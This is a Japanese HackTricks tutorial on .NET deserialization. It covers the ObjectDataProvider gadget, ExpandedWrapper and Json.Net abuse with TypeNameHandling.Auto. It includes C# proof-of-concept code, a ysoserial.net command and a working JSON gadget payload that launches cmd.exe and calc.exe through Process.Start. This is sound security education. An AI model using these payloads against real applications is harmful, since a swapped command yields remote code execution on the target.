Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

この投稿は、ObjectDataProviderガジェットがどのように悪用されるかを理解し、そのガジェットを使用してRCEを取得する方法、およびSerializationライブラリであるJson.NetとxmlSerializerがどのように悪用されるかを理解することに捧げられています。

ObjectDataProviderガジェット

ドキュメントから:ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。 はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは任意のオブジェクトをラップし、_MethodParameters_を使用して任意のパラメータを設定し、その後、MethodNameを使用して任意の関数を呼び出すことができます。任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数実行します。 したがって、任意のオブジェクトは、逆シリアル化されながら任意のパラメータを使用して関数を実行します。

これが可能な理由

ObjectDataProviderが定義および実装されているSystem.Windows.Data名前空間は、C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPFにあるPresentationFramework.dll内に見つかります。

dnSpyを使用して、興味を持つクラスのコードを検査できます。以下の画像では、PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method nameのコードを見ています。

MethodNameが設定されるとbase.Refresh()が呼び出されることがわかります。これが何をするか見てみましょう:

では、this.BeginQuery()が何をするかを続けて見てみましょう。BeginQueryObjectDataProviderによってオーバーライドされ、これが行うことです:

コードの最後でthis.QueryWorke(null)を呼び出していることに注意してください。これが実行する内容を見てみましょう:

このコードはQueryWorker関数の完全なコードではありませんが、その興味深い部分を示しています:コードは**this.InvokeMethodOnInstance(out ex);を呼び出します**。これは、設定されたメソッドが呼び出される行です。

単に_MethodName_を設定するだけで実行されることを確認したい場合は、このコードを実行できます:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

注意してください。System.Windows.Dataをロードするために、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照に追加する必要があります。

ExpandedWrapper

前述の脆弱性を使用すると、オブジェクトObjectDataProvider インスタンスとして逆シリアル化される場合があります(たとえば、DotNetNukeの脆弱性では、GetTypeを使用してオブジェクトが逆シリアル化されました)。その後、ObjectDataProvider インスタンスにラップされたオブジェクトタイプの知識がない状況が発生します(たとえば、Process)。DotNetNukeの脆弱性に関する詳細はこちらで確認できます。

このクラスは、与えられたインスタンスにカプセル化されたオブジェクトのオブジェクトタイプを指定することができます。したがって、このクラスは、ソースオブジェクト(ObjectDataProvider)を新しいオブジェクトタイプにカプセル化し、必要なプロパティ(ObjectDataProvider.MethodName および ObjectDataProvider.MethodParameters)を提供するために使用できます。 これは以前に提示されたケースのような場合に非常に便利です。なぜなら、_ObjectDataProviderExpandedWrapperインスタンスの内部にラップし、このクラスを逆シリアル化するとMethodName_で指定された関数実行する OjectDataProvider オブジェクトが作成されるからです。

このラッパーを以下のコードで確認できます:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

公式ウェブページ によると、このライブラリは Json.NET の強力な JSON シリアライザを使用して、任意の .NET オブジェクトをシリアライズおよびデシリアライズ することができます。したがって、ObjectDataProvider ガジェットをデシリアライズ できれば、オブジェクトをデシリアライズするだけで RCE を引き起こすことができます。

Json.Net の例

まずは、このライブラリを使用してオブジェクトを シリアライズ/デシリアライズ する方法を示す例を見てみましょう:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Netの乱用

ysoserial.netを使用して、次のエクスプロイトを作成しました:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

このコードでは、エクスプロイトをテストすることができます。単に実行すると、calc が実行されることがわかります。

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated